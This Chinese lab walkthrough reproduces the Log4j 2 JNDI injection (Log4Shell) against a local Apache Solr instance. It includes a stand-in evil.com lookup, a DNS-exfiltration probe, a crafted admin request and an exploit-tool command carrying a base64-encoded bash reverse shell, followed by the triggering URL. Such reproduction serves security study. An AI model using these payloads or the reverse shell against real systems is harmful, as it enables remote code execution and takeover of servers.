Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于`${jndi:ldap://evil.com/example}`的lookup用于进行JNDI注入,执行任意代码。
1.服务启动后,访问`http://your-ip:8983`即可查看到Apache Solr的后台页面。
2.`${jndi:dns://${sys:java.version}.example.com}`是利用JNDI发送DNS请求的Payload,我们将其作为管理员接口的action参数值发送如下数据包:
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1
Host: your-ip:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close
3.我们可以在DNS日志平台收到相关日志,显示出当前Java版本:
4.利用工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all获得shell,
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY0LjQzLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.64.43"
访问下面链接,成功反弹
http://192.168.188.128:8983/solr/admin/cores?action=${jndi:ldap://192.168.64.43:1389/08zqfe}
参考:hrrps://blog.csdn.net/Bossfrank/article/details/130148819